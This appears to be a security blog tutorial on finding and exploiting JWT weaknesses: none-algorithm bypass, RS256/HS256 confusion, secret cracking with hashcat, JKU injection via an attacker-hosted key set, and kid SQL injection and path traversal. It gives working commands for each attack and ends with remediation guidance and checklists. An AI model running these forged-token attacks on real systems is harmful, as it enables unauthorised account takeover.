How to Find and Exploit JWT Token Vulnerabilities

JWT Vulnerability Hunt
JWT Vulnerability Hunt
By HOC Team  |  Updated: October 2026  |  Read time: ~18 min

JSON Web Tokens (JWTs) have become the backbone of modern API authentication. Stateless, compact, and self-contained, they power everything from mobile apps to microservice architectures. But their flexibility is also their Achilles' heel. Misconfigured JWT validation is one of the most common and devastating vulnerabilities in modern web applications, frequently leading to full account takeover and privilege escalation.

This comprehensive guide walks you through the anatomy of JWTs, the most critical vulnerabilities, and the exact methodology for jwt token vulnerability exploitation. Whether you are a bug bounty hunter, a penetration tester, or a developer looking to secure your own APIs, this guide provides the practical, hands-on knowledge you need to find and exploit (or fix) JWT flaws in real-world applications.

📊 JWT Vulnerabilities in 2026 According to recent bug bounty reports, JWT-related vulnerabilities appear in over 12% of authenticated web applications tested. The "None Algorithm" and "Algorithm Confusion" attacks remain the most frequently exploited, often leading to immediate admin account takeover. With the rise of AI-powered code generation, misconfigured JWT libraries are appearing in production at an alarming rate.
1. JWT Anatomy: Header, Payload & Signature

Before exploiting JWTs, you must understand their structure. A JWT consists of three Base64URL-encoded parts separated by dots (.):

# A typical JWT token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Decoded Header (Part 1) { "alg": "HS256", "typ": "JWT" } # Decoded Payload (Part 2) { "sub": "1234567890", "role": "user", "iat": 1516239022 } # Signature (Part 3) HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret_key)
💡 Critical Insight The header and payload are NOT encrypted -- they are only Base64URL-encoded. Anyone can decode and read them. The signature is the only thing preventing tampering. If you can bypass or forge the signature, you can modify the payload (e.g., change "role": "user" to "role": "admin") and the server will accept it as valid.
2. Attack 1: The "None" Algorithm Bypass

The JWT specification (RFC 7519) allows for an algorithm called none, which indicates that the token is unsigned. This exists for scenarios where the token's integrity is already verified by other means (like HTTPS). However, many JWT libraries blindly trust the alg field in the header, allowing attackers to strip the signature entirely.

The Exploit
# Step 1: Decode the original JWT header echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d # Output: {"alg":"HS256","typ":"JWT"} # Step 2: Modify the header to use "none" algorithm echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=' # Output: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 # Step 3: Modify the payload (elevate to admin) echo -n '{"sub":"1234567890","role":"admin","iat":1516239022}' | base64 -w 0 | tr '+/' '-_' | tr -d '=' # Output: eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ # Step 4: Construct the forged token (note the empty signature) eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ. # Step 5: Send the forged token to the server curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ." https://target.com/api/admin
Pro Tip: Some servers are case-sensitive and will accept None, NONE, or nOnE when none is blocked. Always try variations.
3. Attack 2: Algorithm Confusion (RS256 to HS256)

This is one of the most devastating JWT attacks. It exploits a fundamental misunderstanding of asymmetric vs. symmetric algorithms in vulnerable JWT libraries.

⚠
How Algorithm Confusion Works
  • RS256 (Asymmetric): The server signs tokens with a private key and verifies them with a public key.
  • HS256 (Symmetric): The server uses the same secret key for both signing and verification.
  • The Flaw: If the server expects RS256 but the attacker changes the header to HS256, the library will use the public key as the HMAC secret. Since the public key is often publicly available (e.g., at /.well-known/jwks.json), the attacker can sign a forged token using the public key as the HMAC secret.
The Exploit
# Step 1: Obtain the server's public key (often exposed publicly) curl https://target.com/.well-known/jwks.json | jq '.keys[0].x5c[0]' -r | base64 -d > public_key.pem # Step 2: Use jwt_tool to perform the algorithm confusion attack python3 jwt_tool.py <original_jwt> -X k -pk public_key.pem # Step 3: jwt_tool will: # - Change the header alg to HS256 # - Let you modify the payload (e.g., role: admin) # - Sign the token using the public key as the HMAC secret # Step 4: Send the forged token curl -H "Authorization: Bearer <forged_token>" https://target.com/api/admin
4. Attack 3: Weak Secret Key Brute Force

If the server uses HS256 with a weak secret (e.g., secret, password123, companyname), the secret can be cracked offline using tools like Hashcat. Once cracked, the attacker can forge any token they want.

The Exploit
# Step 1: Extract the JWT signature hash for cracking python3 jwt_tool.py <original_jwt> -C -d wordlist.txt # Step 2: Alternatively, use hashcat (mode 16500 for JWT) hashcat -m 16500 jwt.hash.txt rockyou.txt --force # Step 3: If the secret is cracked (e.g., "secret123"), forge a new token python3 jwt_tool.py <original_jwt> -S -hs "secret123" -pc '{"sub":"1234567890","role":"admin","iat":1516239022}' # Step 4: Use the forged token to access admin endpoints
⚠ Real-World Impact In multiple bug bounty reports, researchers have cracked JWT secrets in under 10 minutes using common wordlists. Many developers use default secrets like your-256-bit-secret (the default from jwt.io) or copy-paste weak keys from tutorials.
5. Attack 4: JKU / JWK Header Injection

The JWT header can include a jku (JWK Set URL) or jwk (JSON Web Key) parameter that tells the server where to fetch the public key for verification. If the server does not validate this URL against an allowlist, an attacker can point it to their own server and sign tokens with their own keys.

The Exploit
# Step 1: Generate your own RSA key pair openssl genrsa -out attacker_private.pem 2048 openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem # Step 2: Convert the public key to JWK format and host it python3 -c " from cryptography.hazmat.primitives import serialization import json, base64 with open('attacker_public.pem', 'rb') as f: pub = serialization.load_pem_public_key(f.read()) numbers = pub.public_numbers() jwk = { 'kty': 'RSA', 'kid': 'attacker-key', 'use': 'sig', 'n': base64.urlsafe_b64encode(numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode(), 'e': base64.urlsafe_b64encode(numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode() } print(json.dumps({'keys': [jwk]})) " > jwks.json # Host jwks.json on your server: https://attacker.com/jwks.json # Step 3: Forge a JWT with jku pointing to your server python3 jwt_tool.py <original_jwt> -S -pk attacker_private.pem -pv -k "attacker-key" -u "https://attacker.com/jwks.json" # The forged token's header will include: "jku": "https://attacker.com/jwks.json" # The server will fetch YOUR public key and validate YOUR signature.
6. Attack 5: KID (Key ID) Header Injection

The kid (Key ID) header parameter specifies which key from a set should be used for verification. If the application uses the kid value to look up a key in a database or file system without proper sanitization, attackers can inject SQL, path traversal, or command injection payloads.

SQL Injection via KID
# Vulnerable code pattern: SELECT key FROM keys WHERE kid = '<user_supplied_kid>' # Attacker sets kid header to: "kid": "' UNION SELECT 'attacker-controlled-secret' -- " # The query returns 'attacker-controlled-secret' as the signing key # Attacker then signs the forged token with 'attacker-controlled-secret'
Path Traversal via KID
# If the server reads keys from the filesystem: key = open(f"/keys/{kid}.pem").read() # Attacker sets kid to a predictable file: "kid": "../../../../dev/null" # The server reads /dev/null (empty string) as the key # Attacker signs the forged token with an empty string
7. Essential JWT Exploitation Tools
ToolPurposeLink
jwt_toolThe Swiss Army knife for JWT attacks. Supports all attacks covered in this guide.github.com/ticarpi/jwt_tool
JSON Web Tokens (Burp Extension)Decode, modify, and resign JWTs directly within Burp Suite.BApp Store
HashcatCrack weak JWT secrets using GPU-accelerated brute force (mode 16500).hashcat.net
jwt.ioOnline decoder and debugger. Useful for quick inspection (never paste sensitive tokens).jwt.io
jwt-crackerLightweight CLI tool for brute-forcing HS256 secrets.github.com/brendan-rius/c-jwt-cracker
KeyHunterAutomated discovery of exposed JWKS endpoints and public keys.Various GitHub repos
8. Step-by-Step Exploitation Methodology

When you encounter a JWT in a penetration test or bug bounty, follow this systematic approach:

🔍
The JWT Pentesting Workflow
  1. Decode & Inspect: Decode the header and payload. Note the algorithm, claims, and any sensitive data.
  2. Test "None" Algorithm: Change the header to alg: none, remove the signature, and resend. Try case variations.
  3. Test Algorithm Confusion: Look for exposed JWKS endpoints. If RS256 is used, try switching to HS256 and signing with the public key.
  4. Brute Force the Secret: Extract the signature hash and run it through Hashcat with a strong wordlist.
  5. Test JKU/JWK Injection: Modify the jku header to point to your controlled server with your own keys.
  6. Test KID Injection: Try SQL injection, path traversal, and command injection in the kid header.
  7. Test Expiration Bypass: Modify the exp claim to a far-future timestamp.
  8. Test Role Escalation: Modify claims like role, isAdmin, or scope in the payload.
9. Remediation & Secure Implementation

Fixing JWT vulnerabilities requires a defense-in-depth approach. Here is how to implement JWTs securely.

✅
Secure JWT Implementation Checklist
  • Hardcode the Algorithm: Never trust the alg field from the token header. Configure your library to accept only the expected algorithm (e.g., RS256).
  • Use Strong Secrets: For HS256, use a cryptographically random secret of at least 256 bits (32 bytes). Store it in a secrets manager, never in code.
  • Prefer Asymmetric Algorithms: Use RS256 or ES256 instead of HS256. This eliminates the algorithm confusion attack entirely.
  • Validate JKU/JWK URLs: If using jku, strictly validate the URL against an allowlist of trusted domains.
  • Sanitize KID Input: Treat the kid header as untrusted user input. Use parameterized queries and strict path validation.
  • Enforce Expiration: Always validate the exp claim. Use short-lived access tokens (5-15 minutes) with secure refresh token rotation.
  • Never Store Sensitive Data: The payload is only encoded, not encrypted. Never put passwords, PII, or session secrets in the JWT.
  • Use Established Libraries: Use well-maintained, audited libraries (e.g., jose for Node.js, PyJWT for Python, jjwt for Java). Avoid custom JWT implementations.
Secure Code Example (Python / PyJWT)
# SECURE: Using PyJWT with strict algorithm validation import jwt from jwt import PyJWKClient # Use asymmetric keys (RS256) - immune to algorithm confusion with open("private_key.pem", "r") as f: private_key = f.read() with open("public_key.pem", "r") as f: public_key = f.read() # SECURE: Encode with explicit algorithm token = jwt.encode( {"sub": "1234567890", "role": "user", "exp": 1735689600}, private_key, algorithm="RS256" # Explicitly enforced ) # SECURE: Decode with STRICT algorithm enforcement try: payload = jwt.decode( token, public_key, algorithms=["RS256"], # CRITICAL: Reject any other algorithm options={"require": ["exp", "sub"]} # Require critical claims ) except jwt.InvalidTokenError as e: raise AuthenticationError(f"Invalid token: {e}")
10. The JWT Security Checklist
✅
JWT Security Audit Checklist
🔴 Critical -- Fix Before Production
  • ✓
    Reject the "none" algorithm: Configure your JWT library to explicitly reject tokens with alg: none.
  • ✓
    Hardcode expected algorithm: Never trust the alg header. Enforce RS256 or ES256 in the decoder configuration.
  • ✓
    Use strong, random secrets: For HS256, use at least 256 bits of cryptographically random data. Rotate secrets periodically.
  • ✓
    Validate expiration claims: Always verify the exp claim. Use short-lived tokens (5-15 minutes).
🟡 High -- Implement Within 30 Days
  • ✓
    Sanitize JKU/JWK URLs: Validate against a strict allowlist of trusted domains.
  • ✓
    Sanitize KID header: Use parameterized queries and strict path validation for kid lookups.
  • ✓
    Never store sensitive data in payload: Treat the JWT payload as public. No PII, passwords, or secrets.
  • ✓
    Implement token revocation: Use a short-lived access token + refresh token pattern with server-side revocation lists.
🔴 Medium -- Implement Within 90 Days
  • ✓
    Use established libraries: Avoid custom JWT implementations. Use audited, well-maintained libraries.
  • ✓
    Implement token binding: Bind tokens to client characteristics (IP, User-Agent) to prevent token theft and replay.
  • ✓
    Monitor for JWT anomalies: Log and alert on failed JWT validations, unusual algorithms, and expired token usage attempts.
11. Frequently Asked Questions
What is the most common JWT vulnerability?

The most common JWT vulnerability is the "None" Algorithm Bypass, where the attacker changes the header's alg field to none and removes the signature. Vulnerable libraries accept the token as valid without verifying any signature, allowing the attacker to forge arbitrary claims (like admin role). The second most common is weak secret brute force, where developers use guessable secrets like "secret" or "password123".

Can JWTs be decrypted or read by attackers?

Yes. The header and payload of a JWT are only Base64URL-encoded, NOT encrypted. Anyone who intercepts the token can decode and read all its contents. This is why you must never store sensitive information (passwords, PII, session secrets) in a JWT. Only use JWTs for non-sensitive claims like user ID, role, and expiration time.

What is the difference between HS256 and RS256?

HS256 is a symmetric algorithm: the same secret key is used for both signing and verification. It is faster but requires secure distribution of the secret to all verifying parties. RS256 is an asymmetric algorithm: a private key signs the token, and a public key verifies it. The public key can be freely distributed. RS256 is more secure and eliminates algorithm confusion attacks, which is why it is recommended for production use.

How do I prevent JWT token theft?

JWTs are bearer tokens -- whoever holds them has access. To prevent theft: (1) Always transmit JWTs over HTTPS. (2) Store them in httpOnly, Secure, SameSite=Strict cookies, NOT in localStorage (which is vulnerable to XSS). (3) Use short expiration times (5-15 minutes) with secure refresh token rotation. (4) Implement token binding to tie the JWT to client characteristics like IP or device fingerprint.

Is JWT more secure than session-based authentication?

Neither is inherently more secure -- it depends on implementation. JWTs offer scalability benefits (stateless, no server-side storage) but introduce unique risks (no built-in revocation, algorithm confusion attacks). Session-based authentication is simpler and supports instant revocation but requires server-side state. For most applications, a hybrid approach works best: short-lived JWTs for API access combined with server-side refresh token revocation.

How do I test for JWT vulnerabilities in bug bounties?

Start by capturing a valid JWT in Burp Suite. Decode it using jwt.io or jwt_tool to inspect the header and payload. Then systematically test: (1) "none" algorithm bypass, (2) algorithm confusion (RS256 to HS256), (3) weak secret brute force with Hashcat, (4) JKU/JWK header injection, (5) KID header injection (SQLi, path traversal), (6) expiration bypass, and (7) role/privilege escalation by modifying payload claims. Always document each test with clear proof-of-concept steps.

About the author Written by the HOC Team at Hackers Online Club -- a cybersecurity community trusted by penetration testers, bug bounty hunters, and application security engineers since 2010. 15+ years of practical web security guides, vulnerability research, and secure coding tutorials. Learn more about HOC

Join Our Club

Enter your Email address to receive notifications | Join over Million Followers

Previous Article
AI Model Supply Chain Risks

AI Model Supply Chain Risks

Related Posts